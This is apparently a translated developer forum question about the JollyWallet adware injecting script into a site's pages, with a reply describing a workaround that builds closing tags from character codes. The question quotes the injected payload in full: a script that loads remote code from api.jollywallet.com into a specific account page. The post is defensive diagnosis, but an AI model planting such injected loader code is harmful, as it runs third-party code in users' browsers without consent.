识别是否发生了代码注入(JollyWallet等)

Identifying if code injection occurred (JollyWallet, etc)

本文关键字:JollyWallet 注入 是否 发生了 代码 识别      更新时间:2023-09-26

我们希望提醒用户,如果代码注入已经发生,而页面正在加载。我们遇到了JollyWallet注入代码并导致SCRIPT块保持打开状态的问题。当然,我们的代码在那个SCRIPT块中。

这是我们在原始

中的内容
sTrailer = "</body></html>"  //Used to close popup print view window

下面是被注入的代码:

sTrailer = "<script type="text/javascript">(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'https://www.xxxxxxx.net/xxx/xxx/<filename>.asp?account=###############') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = 'https://api.jollywallet.com/affiliate/client?dist=213&sub=bsg-rt-revenyou&name=BrowserSafeguard';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();</script></body></html>"

最理想的情况是,当用户登录我们的网站时,我们希望提醒他们这个PUP的存在。我们还可以选择停止受影响页面上的注入。

有人知道可以在页面加载结束时运行的测试,以识别代码注入吗?

对不起,我忘了发布修复这个。我结束了从charCode中编写元素,因为恶意软件正在寻找特定的文本。

winPrintView.document.write(String.fromCharCode(60, 47, 98, 111, 100, 121, 62, 60, 47, 104, 116, 109, 108, 62));